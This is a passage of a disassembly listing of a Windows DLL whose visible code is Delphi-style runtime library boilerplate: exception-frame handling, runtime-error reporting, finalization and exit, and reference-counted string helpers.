loc_100031AD:				; CODE XREF: CODE:1000317Bj
		mov	al, 0CDh
		jmp	short loc_100031D3
; ---------------------------------------------------------------------------

loc_100031B1:				; CODE XREF: CODE:10003153j
					; CODE:10003179j
		mov	al, 0CFh
		jmp	short loc_100031D3
; ---------------------------------------------------------------------------

loc_100031B5:				; CODE XREF: CODE:1000315Cj
		mov	al, 0C8h
		jmp	short loc_100031D3
; ---------------------------------------------------------------------------

loc_100031B9:				; CODE XREF: CODE:10003193j
		mov	al, 0D7h
		jmp	short loc_100031D3
; ---------------------------------------------------------------------------

loc_100031BD:				; CODE XREF: CODE:1000316Dj
					; CODE:1000318Dj
		mov	al, 0CEh
		jmp	short loc_100031D3
; ---------------------------------------------------------------------------

loc_100031C1:				; CODE XREF: CODE:10003163j
		mov	al, 0D8h
		jmp	short loc_100031D3
; ---------------------------------------------------------------------------

loc_100031C5:				; CODE XREF: CODE:10003186j
		mov	al, 0DAh
		jmp	short loc_100031D3
; ---------------------------------------------------------------------------

loc_100031C9:				; CODE XREF: CODE:100031A1j
		mov	al, 0D9h
		jmp	short loc_100031D3
; ---------------------------------------------------------------------------

loc_100031CD:				; CODE XREF: CODE:1000319Cj
		mov	al, 0CAh
		jmp	short loc_100031D3
; ---------------------------------------------------------------------------

loc_100031D1:				; CODE XREF: CODE:1000316Fj
					; CODE:1000317Dj ...
		mov	al, 0FFh

loc_100031D3:				; CODE XREF: CODE:100031A7j
					; CODE:100031ABj ...
		and	eax, 0FFh
		mov	edx, [edx+0Ch]
		call	sub_10002588
; ---------------------------------------------------------------------------
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------

loc_100031E4:				; DATA XREF: sub_10003284+Do
		mov	eax, [esp+4]
		test	dword ptr [eax+4], 6
		jnz	loc_1000327E
		cmp	ds:byte_10009018, 0
		ja	short loc_1000320D
		lea	eax, [esp+4]
		push	eax
		call	sub_10001078	; UnhandledExceptionFilter
		cmp	eax, 0
		jz	short loc_1000327E

loc_1000320D:				; CODE XREF: CODE:100031FCj
		mov	eax, [esp+4]
		cld
		call	sub_10002C24
		mov	edx, [esp+8]
		push	0
		push	eax
		push	offset loc_1000322A
		push	edx
		call	ds:off_1000A018

loc_1000322A:				; DATA XREF: CODE:1000321Eo
		mov	ebx, [esp+4]
		cmp	dword ptr [ebx], 0EEDFADEh
		mov	edx, [ebx+14h]
		mov	eax, [ebx+18h]
		jz	short loc_10003259
		mov	edx, ds:dword_1000A010
		test	edx, edx
		jz	loc_10003144
		mov	eax, ebx
		call	edx
		test	eax, eax
		jz	loc_10003144
		mov	edx, [ebx+0Ch]

loc_10003259:				; CODE XREF: CODE:1000323Aj
		call	sub_10002EFC
		mov	ecx, ds:dword_1000A004
		test	ecx, ecx
		jz	short loc_1000326A
		call	ecx

loc_1000326A:				; CODE XREF: CODE:10003266j
		mov	ecx, [esp+4]
		mov	eax, 0D9h
		mov	edx, [ecx+14h]
		mov	[esp], edx
		jmp	sub_10003614
; ---------------------------------------------------------------------------

loc_1000327E:				; CODE XREF: CODE:100031EFj
					; CODE:1000320Bj
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10003284	proc near		; CODE XREF: sub_1000338C+2Ep
		xor	edx, edx
		lea	eax, [ebp-0Ch]
		mov	ecx, fs:[edx]
		mov	fs:[edx], eax
		mov	[eax], ecx
		mov	dword ptr [eax+4], offset loc_100031E4
		mov	[eax+8], ebp
		mov	ds:dword_1000A634, eax
		retn
sub_10003284	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100032A4	proc near		; CODE XREF: sub_10003530:loc_100035BAp
		xor	edx, edx
		mov	eax, ds:dword_1000A634
		test	eax, eax
		jz	short locret_100032CB
		mov	ecx, fs:[edx]
		cmp	eax, ecx
		jnz	short loc_100032BE
		mov	eax, [eax]
		mov	fs:[edx], eax
		retn
; ---------------------------------------------------------------------------

loc_100032BC:				; CODE XREF: sub_100032A4+21j
		mov	ecx, [ecx]

loc_100032BE:				; CODE XREF: sub_100032A4+10j
		cmp	ecx, 0FFFFFFFFh
		jz	short locret_100032CB
		cmp	[ecx], eax
		jnz	short loc_100032BC
		mov	eax, [eax]
		mov	[ecx], eax

locret_100032CB:			; CODE XREF: sub_100032A4+9j
					; sub_100032A4+1Dj
		retn
sub_100032A4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100032CC	proc near		; CODE XREF: sub_100032CC+4Bp
					; sub_1000332C+4Bp ...
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	edi, offset dword_1000A630
		mov	eax, [edi+8]
		test	eax, eax
		jz	short loc_10003326
		mov	ebx, [edi+0Ch]
		mov	esi, [eax+4]
		xor	edx, edx
		push	ebp
		push	offset loc_10003312
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		test	ebx, ebx
		jle	short loc_10003308

loc_100032F6:				; CODE XREF: sub_100032CC+3Aj
		dec	ebx
		mov	[edi+0Ch], ebx
		mov	eax, [esi+ebx*8+4]
		test	eax, eax
		jz	short loc_10003304
		call	eax

loc_10003304:				; CODE XREF: sub_100032CC+34j
		test	ebx, ebx
		jg	short loc_100032F6

loc_10003308:				; CODE XREF: sub_100032CC+28j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_10003326
; ---------------------------------------------------------------------------

loc_10003312:				; DATA XREF: sub_100032CC+1Bo
		jmp	sub_10002F1C
; ---------------------------------------------------------------------------
		call	sub_100032CC
		call	sub_100030A8
		call	sub_100030FC

loc_10003326:				; CODE XREF: sub_100032CC+10j
					; sub_100032CC+44j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_100032CC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1000332C	proc near		; CODE XREF: sub_1000338C+3Ap
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	eax, ds:off_1000A638
		test	eax, eax
		jz	short loc_10003386
		mov	esi, [eax]
		xor	ebx, ebx
		mov	edi, [eax+4]
		xor	edx, edx
		push	ebp
		push	offset loc_10003372
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		cmp	esi, ebx
		jle	short loc_10003368

loc_10003354:				; CODE XREF: sub_1000332C+3Aj
		mov	eax, [edi+ebx*8]
		inc	ebx
		mov	ds:dword_1000A63C, ebx
		test	eax, eax
		jz	short loc_10003364
		call	eax

loc_10003364:				; CODE XREF: sub_1000332C+34j
		cmp	esi, ebx
		jg	short loc_10003354

loc_10003368:				; CODE XREF: sub_1000332C+26j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_10003386
; ---------------------------------------------------------------------------

loc_10003372:				; DATA XREF: sub_1000332C+19o
		jmp	sub_10002F1C
; ---------------------------------------------------------------------------
		call	sub_100032CC
		call	sub_100030A8
		call	sub_100030FC

loc_10003386:				; CODE XREF: sub_1000332C+Dj
					; sub_1000332C+44j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_1000332C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_1000338C	proc near		; CODE XREF: sub_100044AC+3Ap
		mov	ds:off_1000A014, offset	sub_10001068
		mov	ds:off_1000A018, offset	sub_10001070
		mov	ds:off_1000A638, eax
		xor	eax, eax
		mov	ds:dword_1000A63C, eax
		mov	ds:off_1000A640, edx
		mov	eax, [edx+4]
		mov	ds:dword_1000A02C, eax
		call	sub_10003284
		mov	ds:byte_1000A034, 0
		call	sub_1000332C
		retn
sub_1000338C	endp


; =============== S U B	R O U T	I N E =======================================



sub_100033CC	proc near		; CODE XREF: sub_10007DD0+1Fp
		push	ebx
		xor	ebx, ebx
		push	edi
		push	esi
		mov	edi, [eax+ebx]
		lea	esi, [eax+ebx+4]

loc_100033D8:				; CODE XREF: sub_100033CC+1Fj
		mov	eax, [esi+4]
		mov	edx, [esi]
		mov	eax, [eax+ebx]
		add	edx, ebx
		call	sub_100041C0
		add	esi, 8
		dec	edi
		jnz	short loc_100033D8
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_100033CC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100033F4	proc near		; CODE XREF: sub_10007DD0+29p
		push	ebx
		xor	ebx, ebx
		push	edi
		push	esi
		mov	edi, [eax+ebx]
		lea	esi, [eax+ebx+4]

loc_10003400:				; CODE XREF: sub_100033F4+1Ej
		mov	eax, [esi+4]
		mov	edx, [esi]
		mov	eax, [eax+ebx]
		add	eax, [esi+8]
		mov	[edx+ebx], eax
		add	esi, 0Ch
		dec	edi
		jnz	short loc_10003400
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_100033F4	endp


; =============== S U B	R O U T	I N E =======================================



sub_10003418	proc near		; CODE XREF: sub_10003530+38p
		push	ebx
		push	esi
		push	edi
		mov	esi, offset aRuntimeErrorAt ; "Runtime error	 at 00000000"
		mov	cl, 10h
		mov	ebx, ds:dword_10009000

loc_10003428:				; CODE XREF: sub_10003418+33j
		mov	eax, ebx
		mov	edi, 0Ah
		cdq
		idiv	edi
		add	dl, 30h
		xor	eax, eax
		mov	al, cl
		mov	[esi+eax], dl
		mov	eax, ebx
		mov	ebx, 0Ah
		cdq
		idiv	ebx
		mov	ebx, eax
		dec	ecx
		test	ebx, ebx
		jnz	short loc_10003428
		mov	cl, 1Ch
		mov	eax, ds:dword_10009004

loc_10003454:				; CODE XREF: sub_10003418+54j
		mov	edx, eax
		and	edx, 0Fh
		mov	dl, ds:byte_1000907C[edx]
		xor	ebx, ebx
		mov	bl, cl
		mov	[esi+ebx], dl
		shr	eax, 4
		dec	ecx
		test	eax, eax
		jnz	short loc_10003454
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10003418	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10003474	proc near		; CODE XREF: sub_10003530+9Ep
		xor	eax, eax
		xchg	eax, ds:dword_10009000
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	edi, offset dword_1000A630
		mov	ebx, [edi+18h]
		mov	ebp, [edi+14h]
		push	dword ptr [edi+1Ch]
		push	dword ptr [edi+20h]
		mov	esi, [edi]
		mov	ecx, 0Bh
		rep movsd
		pop	edi
		pop	esi
		leave
		retn	0Ch
sub_10003474	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100034A4	proc near		; CODE XREF: sub_10003530+3Dp

var_4		= byte ptr -4

		push	ecx
		cmp	ds:byte_1000A044, 0
		jz	short loc_10003505
		cmp	ds:word_1000A218, 0D7B2h
		jnz	short loc_100034CD
		cmp	ds:dword_1000A220, 0
		jbe	short loc_100034CD
		mov	eax, offset dword_1000A214
		call	ds:dword_1000A230

loc_100034CD:				; CODE XREF: sub_100034A4+13j
					; sub_100034A4+1Cj
		push	0
		lea	eax, [esp+8+var_4]
		push	eax
		push	1Eh
		push	offset aRuntimeErrorAt ; "Runtime error	    at 00000000"
		push	0FFFFFFF5h
		call	sub_10001060	; GetStdHandle
		push	eax
		call	sub_10001080	; WriteFile
		push	0
		lea	eax, [esp+8+var_4]
		push	eax
		push	2
		push	offset dword_1000352C
		push	0FFFFFFF5h
		call	sub_10001060	; GetStdHandle
		push	eax
		call	sub_10001080	; WriteFile
		pop	edx
		retn
; ---------------------------------------------------------------------------

loc_10003505:				; CODE XREF: sub_100034A4+8j
		cmp	ds:byte_10009020, 0
		jnz	short loc_10003521
		push	0
		push	offset aError	; "Error"
		push	offset aRuntimeErrorAt ; "Runtime error	    at 00000000"
		push	0
		call	sub_10001098	; MessageBoxA

loc_10003521:				; CODE XREF: sub_100034A4+68j
		pop	edx
		retn
sub_100034A4	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 2
dword_1000352C	dd 0A0Dh		; DATA XREF: sub_100034A4+4Do

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_10003530	proc near		; CODE XREF: sub_10003608+5p
					; CODE:loc_1000872Cp
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebx, offset dword_1000A630
		mov	esi, offset dword_10009000
		mov	edi, offset dword_1000A040
		cmp	byte ptr [ebx+28h], 0
		jnz	short loc_1000355F
		cmp	dword ptr [edi], 0
		jz	short loc_1000355F

loc_1000354E:				; CODE XREF: sub_10003530+2Dj
		mov	edx, [edi]
		mov	eax, edx
		xor	edx, edx
		mov	[edi], edx
		mov	ebp, eax
		call	ebp
		cmp	dword ptr [edi], 0
		jnz	short loc_1000354E

loc_1000355F:				; CODE XREF: sub_10003530+17j
					; sub_10003530+1Cj
		cmp	ds:dword_10009004, 0
		jz	short loc_10003579
		call	sub_10003418
		call	sub_100034A4
		xor	eax, eax
		mov	ds:dword_10009004, eax

loc_10003579:				; CODE XREF: sub_10003530+36j
					; sub_10003530+CEj
		cmp	byte ptr [ebx+28h], 2
		jnz	short loc_10003589
		cmp	dword ptr [esi], 0
		jnz	short loc_10003589
		xor	eax, eax
		mov	[ebx+0Ch], eax

loc_10003589:				; CODE XREF: sub_10003530+4Dj
					; sub_10003530+52j
		call	sub_100032CC
		cmp	byte ptr [ebx+28h], 1
		jbe	short loc_10003599
		cmp	dword ptr [esi], 0
		jz	short loc_100035BA

loc_10003599:				; CODE XREF: sub_10003530+62j
		mov	eax, [ebx+10h]
		test	eax, eax
		jz	short loc_100035BA
		call	sub_10004120
		mov	edx, [ebx+10h]
		mov	eax, [edx+10h]
		cmp	eax, [edx+4]
		jz	short loc_100035BA
		test	eax, eax
		jz	short loc_100035BA
		push	eax
		call	sub_100010B0	; FreeLibrary

loc_100035BA:				; CODE XREF: sub_10003530+67j
					; sub_10003530+6Ej ...
		call	sub_100032A4
		cmp	byte ptr [ebx+28h], 1
		jnz	short loc_100035C8
		call	dword ptr [ebx+24h]

loc_100035C8:				; CODE XREF: sub_10003530+93j
		cmp	byte ptr [ebx+28h], 0
		jz	short loc_100035D3
		call	sub_10003474

loc_100035D3:				; CODE XREF: sub_10003530+9Cj
		cmp	dword ptr [ebx], 0
		jnz	short loc_100035EF
		cmp	ds:dword_1000A024, 0
		jz	short loc_100035E7
		call	ds:dword_1000A024

loc_100035E7:				; CODE XREF: sub_10003530+AFj
		mov	eax, [esi]
		push	eax
		call	sub_10001090	; ExitProcess

loc_100035EF:				; CODE XREF: sub_10003530+A6j
		mov	eax, [ebx]
		push	esi
		mov	esi, eax
		mov	edi, ebx
		mov	ecx, 0Bh
		rep movsd
		pop	esi
		jmp	loc_10003579
sub_10003530	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_10003608	proc near		; CODE XREF: sub_10002588+6p
					; sub_10003614+6j
		mov	ds:dword_10009000, eax
		call	sub_10003530
sub_10003608	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_10003614	proc near		; CODE XREF: sub_10003080+9p
					; CODE:10003279j ...
		pop	ds:dword_10009004
		jmp	sub_10003608
sub_10003614	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================



sub_10003620	proc near		; CODE XREF: sub_10003710+23p
					; CODE:1000377Bp ...
		mov	edx, [eax]
		test	edx, edx
		jz	short locret_10003642
		mov	dword ptr [eax], 0
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_10003642
		lock dec dword ptr [edx-8]
		jnz	short locret_10003642
		push	eax
		lea	eax, [edx-8]
		call	sub_10002518
		pop	eax

locret_10003642:			; CODE XREF: sub_10003620+4j
					; sub_10003620+10j ...
		retn
sub_10003620	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10003644	proc near		; CODE XREF: sub_10003AB4+56p
					; sub_10006268+10Dp ...
		push	ebx
		push	esi
		mov	ebx, eax
		mov	esi, edx

loc_1000364A:				; CODE XREF: sub_10003644+2Aj
		mov	edx, [ebx]
		test	edx, edx
		jz	short loc_1000366A
		mov	dword ptr [ebx], 0
		mov	ecx, [edx-8]
		dec	ecx
		jl	short loc_1000366A
		lock dec dword ptr [edx-8]
		jnz	short loc_1000366A
		lea	eax, [edx-8]
		call	sub_10002518

loc_1000366A:				; CODE XREF: sub_10003644+Aj
					; sub_10003644+16j ...
		add	ebx, 4
		dec	esi
		jnz	short loc_1000364A
		pop	esi
		pop	ebx
		retn
sub_10003644	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10003674	proc near		; CODE XREF: sub_1000389C+8j
					; sub_100038E0:loc_1000395Ap ...
		test	edx, edx
		jz	short loc_1000369C
		mov	ecx, [edx-8]
		inc	ecx
		jg	short loc_10003698
		push	eax
		push	edx
		mov	eax, [edx-4]
		call	sub_100036E4
		mov	edx, eax
		pop	eax
		push	edx
		mov	ecx, [eax-4]
		call	sub_1000263C
		pop	edx
		pop	eax
		jmp	short loc_1000369C
; ---------------------------------------------------------------------------

loc_10003698:				; CODE XREF: sub_10003674+8j
		lock inc dword ptr [edx-8]

loc_1000369C:				; CODE XREF: sub_10003674+2j
					; sub_10003674+22j
		xchg	edx, [eax]
		test	edx, edx
		jz	short locret_100036B6
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_100036B6
		lock dec dword ptr [edx-8]
		jnz	short locret_100036B6
		lea	eax, [edx-8]
		call	sub_10002518

locret_100036B6:			; CODE XREF: sub_10003674+2Cj
					; sub_10003674+32j ...
		retn
sub_10003674	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100036B8	proc near		; CODE XREF: sub_10006C00+2Ep
					; sub_1000757C+1EDp ...
		test	edx, edx
		jz	short loc_100036C6
		mov	ecx, [edx-8]
		inc	ecx
		jle	short loc_100036C6
		lock inc dword ptr [edx-8]

loc_100036C6:				; CODE XREF: sub_100036B8+2j
					; sub_100036B8+8j
		xchg	edx, [eax]
		test	edx, edx
		jz	short locret_100036E0
		mov	ecx, [edx-8]
		dec	ecx
		jl	short locret_100036E0
		lock dec dword ptr [edx-8]
		jnz	short locret_100036E0
		lea	eax, [edx-8]
		call	sub_10002518

locret_100036E0:			; CODE XREF: sub_100036B8+12j
					; sub_100036B8+18j ...
		retn
sub_100036B8	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100036E4	proc near		; CODE XREF: sub_10003674+Fp
					; sub_10003710+Bp ...
		test	eax, eax
		jle	short loc_1000370C
		push	eax
		add	eax, 0Ah
		and	eax, 0FFFFFFFEh
		push	eax
		call	sub_100024F8
		pop	edx
		mov	word ptr [edx+eax-2], 0
		add	eax, 8
		pop	edx
		mov	[eax-4], edx
		mov	dword ptr [eax-8], 1
		retn
; ---------------------------------------------------------------------------

loc_1000370C:				; CODE XREF: sub_100036E4+2j
		xor	eax, eax
		retn
sub_100036E4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_10003710	proc near		; CODE XREF: CODE:100037AEp
					; sub_100037EC+8p ...
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, ecx
		mov	eax, edi
		call	sub_100036E4
		mov	ecx, edi
		mov	edi, eax
		test	esi, esi
		jz	short loc_10003731
		mov	edx, eax
		mov	eax, esi
		call	sub_1000263C

loc_10003731:				; CODE XREF: sub_10003710+16j
		mov	eax, ebx
		call	sub_10003620
		mov	[ebx], edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10003710	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10003740	proc near		; CODE XREF: CODE:1000379Bp
					; CODE:100037CBp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0
		push	0
		push	edx
		push	eax
		mov	eax, [ebp+arg_0]
		push	eax
		push	ecx
		push	0
		mov	eax, ds:dword_1000A5B8
		push	eax
		call	sub_10001128	; WideCharToMultiByte
		pop	ebp
		retn	4
sub_10003740	endp

; ---------------------------------------------------------------------------
		align 10h

loc_10003760:				; CODE XREF: CODE:loc_1000385Fj
					; CODE:loc_1000388Bj
		push	ebx
		push	esi
		push	edi
		push	ebp
		add	esp, 0FFFFF004h
		push	eax
		add	esp, 0FFFFFFFCh
		mov	esi, ecx
		mov	[esp], edx
		mov	edi, eax
		test	esi, esi
		jg	short loc_10003782
		mov	eax, edi
		call	sub_10003620
		jmp	short loc_100037E1
; ---------------------------------------------------------------------------

loc_10003782:				; CODE XREF: CODE:10003777j
		lea	ebp, [esi+1]
		cmp	ebp, 7FFh
		jge	short loc_100037B5
		push	esi
		lea	eax, [esp+8]
		mov	ecx, [esp+4]
		mov	edx, 0FFFh
		call	sub_10003740
		mov	ebx, eax
		test	ebx, ebx
		jl	short loc_100037B5
		lea	edx, [esp+4]
		mov	eax, edi
		mov	ecx, ebx
		call	sub_10003710
		jmp	short loc_100037E1
; ---------------------------------------------------------------------------

loc_100037B5:				; CODE XREF: CODE:1000378Bj
					; CODE:100037A4j
		mov	ebx, ebp
		add	ebx, ebx
		mov	eax, edi
		mov	edx, ebx
		call	sub_100039C8
		push	esi
		mov	eax, [edi]
		mov	ecx, [esp+4]
		mov	edx, ebx
		call	sub_10003740
		mov	ebx, eax
		test	ebx, ebx
		jge	short loc_100037D8
		xor	ebx, ebx

loc_100037D8:				; CODE XREF: CODE:100037D4j
		mov	eax, edi
		mov	edx, ebx
		call	sub_100039C8

loc_100037E1:				; CODE XREF: CODE:10003780j
					; CODE:100037B3j
		add	esp, 1004h
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_100037EC	proc near		; CODE XREF: sub_100064F0+8Dp
					; sub_100064F0+190p ...
		push	edx
		mov	edx, esp
		mov	ecx, 1
		call	sub_10003710
		pop	edx
		retn
sub_100037EC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100037FC	proc near		; CODE XREF: sub_100041C0+48p
					; sub_1000638C+28p ...
		xor	ecx, ecx
		test	edx, edx
		jz	short loc_10003823
		push	edx

loc_10003803:				; CODE XREF: sub_100037FC+1Dj
		cmp	cl, [edx]
		jz	short loc_1000381E
		cmp	cl, [edx+1]
		jz	short loc_1000381D
		cmp	cl, [edx+2]
		jz	short loc_1000381C
		cmp	cl, [edx+3]
		jz	short loc_1000381B
		add	edx, 4
		jmp	short loc_10003803
; ---------------------------------------------------------------------------

loc_1000381B:				; CODE XREF: sub_100037FC+18j
		inc	edx

loc_1000381C:				; CODE XREF: sub_100037FC+13j
		inc	edx

loc_1000381D:				; CODE XREF: sub_100037FC+Ej
		inc	edx

loc_1000381E:				; CODE XREF: sub_100037FC+9j
		mov	ecx, edx
		pop	edx
		sub	ecx, edx

loc_10003823:				; CODE XREF: sub_100037FC+4j
		jmp	sub_10003710
sub_100037FC	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

loc_1000382C:				; DATA XREF: sub_10005912:loc_10005A44o
		xor	ecx, ecx
		test	edx, edx
		jz	short loc_1000385F
		push	edx

loc_10003833:				; CODE XREF: CODE:1000384Dj
		cmp	cx, [edx]
		jz	short loc_10003858
		cmp	cx, [edx+2]
		jz	short loc_10003855
		cmp	cx, [edx+4]
		jz	short loc_10003852
		cmp	cx, [edx+6]
		jz	short loc_1000384F
		add	edx, 8
		jmp	short loc_10003833
; ---------------------------------------------------------------------------

loc_1000384F:				; CODE XREF: CODE:10003848j
		add	edx, 2

loc_10003852:				; CODE XREF: CODE:10003842j
		add	edx, 2

loc_10003855:				; CODE XREF: CODE:1000383Cj
		add	edx, 2

loc_10003858:				; CODE XREF: CODE:10003836j
		mov	ecx, edx
		pop	edx
		sub	ecx, edx
		shr	ecx, 1

loc_1000385F:				; CODE XREF: CODE:10003830j
		jmp	loc_10003760
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10003868	proc near		; CODE XREF: sub_10004218+36p
					; sub_10006D88+BBp ...
		push	edi
		push	eax
		push	ecx
		mov	edi, edx
		xor	eax, eax
		repne scasb
		jnz	short loc_10003875
		not	ecx

loc_10003875:				; CODE XREF: sub_10003868+9j
		pop	eax
		add	ecx, eax
		pop	eax
		pop	edi
		jmp	sub_10003710
sub_10003868	endp

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------

loc_10003880:				; DATA XREF: sub_10005912:loc_10005A4Bo
		xor	ecx, ecx
		test	edx, edx
		jz	short loc_1000388B
		mov	ecx, [edx-4]
		shr	ecx, 1

loc_1000388B:				; CODE XREF: CODE:10003884j
		jmp	loc_10003760
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10003894	proc near		; CODE XREF: sub_100055B0+Ap
					; sub_10005BB4+1Fp ...
		test	eax, eax
		jz	short locret_1000389B
		mov	eax, [eax-4]

locret_1000389B:			; CODE XREF: sub_10003894+2j
		retn
sub_10003894	endp


; =============== S U B	R O U T	I N E =======================================



sub_1000389C	proc near		; CODE XREF: sub_100064F0+97p
					; sub_100064F0+EEp ...
		test	edx, edx
		jz	short locret_100038DF
		mov	ecx, [eax]
		test	ecx, ecx
		jz	sub_10003674
		push	ebx
		push	esi
		push	edi
		mov	ebx, eax
		mov	esi, edx
		mov	edi, [ecx-4]
		mov	edx, [esi-4]
		add	edx, edi
		cmp	esi, ecx
		jz	short loc_100038D4
		call	sub_100039C8
		mov	eax, esi
		mov	ecx, [esi-4]

loc_100038C7:				; CODE XREF: sub_1000389C+41j
		mov	edx, [ebx]
		add	edx, edi
		call	sub_1000263C
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_100038D4:				; CODE XREF: sub_1000389C+1Fj
		call	sub_100039C8
		mov	eax, [ebx]
		mov	ecx, edi
		jmp	short loc_100038C7
; ---------------------------------------------------------------------------

locret_100038DF:			; CODE XREF: sub_1000389C+2j
		retn
sub_1000389C	endp


; =============== S U B	R O U T	I N E =======================================



sub_100038E0	proc near		; CODE XREF: sub_1000757C+27Bp
					; sub_1000757C+298p

var_14		= dword	ptr -14h

		push	ebx
		push	esi
		push	edi
		push	edx
		push	eax
		mov	ebx, edx
		xor	edi, edi
		mov	ecx, [esp+edx*4+14h]
		test	ecx, ecx
		jz	short loc_100038FD
		cmp	[eax], ecx
		jnz	short loc_100038FD
		mov	edi, ecx
		mov	eax, [ecx-4]
		dec	edx
		jmp	short loc_100038FF
; ---------------------------------------------------------------------------

loc_100038FD:				; CODE XREF: sub_100038E0+Fj
					; sub_100038E0+13j
		xor	eax, eax

loc_100038FF:				; CODE XREF: sub_100038E0+1Bj
					; sub_100038E0+31j
		mov	ecx, [esp+edx*4+14h]
		test	ecx, ecx
		jz	short loc_10003910
		add	eax, [ecx-4]
		cmp	edi, ecx
		jnz	short loc_10003910
		xor	edi, edi

loc_10003910:				; CODE XREF: sub_100038E0+25j
					; sub_100038E0+2Cj
		dec	edx
		jnz	short loc_100038FF
		test	edi, edi
		jz	short loc_1000392E
		mov	edx, eax
		mov	eax, [esp+14h+var_14]
		mov	esi, [edi-4]
		call	sub_100039C8
		mov	edi, [esp+14h+var_14]
		push	dword ptr [edi]
		add	esi, [edi]
		dec	ebx
		jmp	short loc_10003936
; ---------------------------------------------------------------------------

loc_1000392E:				; CODE XREF: sub_100038E0+35j
		call	sub_100036E4
		push	eax
		mov	esi, eax

loc_10003936:				; CODE XREF: sub_100038E0+4Cj
					; sub_100038E0+6Bj
		mov	eax, [esp+ebx*4+18h]
		mov	edx, esi
		test	eax, eax
		jz	short loc_1000394A
		mov	ecx, [eax-4]
		add	esi, ecx
		call	sub_1000263C

loc_1000394A:				; CODE XREF: sub_100038E0+5Ej
		dec	ebx
		jnz	short loc_10003936
		pop	edx
		pop	eax
		test	edi, edi
		jnz	short loc_1000395F
		test	edx, edx
		jz	short loc_1000395A
		dec	dword ptr [edx-8]

loc_1000395A:				; CODE XREF: sub_100038E0+75j
		call	sub_10003674

loc_1000395F:				; CODE XREF: sub_100038E0+71j
		pop	edx
		pop	edi
		pop	esi
		pop	ebx
		pop	eax
		lea	esp, [esp+edx*4]
		jmp	eax
sub_100038E0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_1000396C	proc near		; CODE XREF: sub_10008558+11p
		test	eax, eax
		jz	short locret_1000397A
		mov	edx, [eax-8]
		inc	edx
		jle	short locret_1000397A
		lock inc dword ptr [eax-8]

locret_1000397A:			; CODE XREF: sub_1000396C+2j
					; sub_1000396C+8j
		retn
sub_1000396C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_1000397C	proc near		; CODE XREF: sub_100055B0+13p
					; CODE:100067D8p ...
		test	eax, eax
		jz	short loc_10003982
		retn
; ---------------------------------------------------------------------------
byte_10003981	db 0			; DATA XREF: sub_1000397C:loc_10003982o
; ---------------------------------------------------------------------------

loc_10003982:				; CODE XREF: sub_1000397C+2j
		mov	eax, offset byte_10003981
		retn
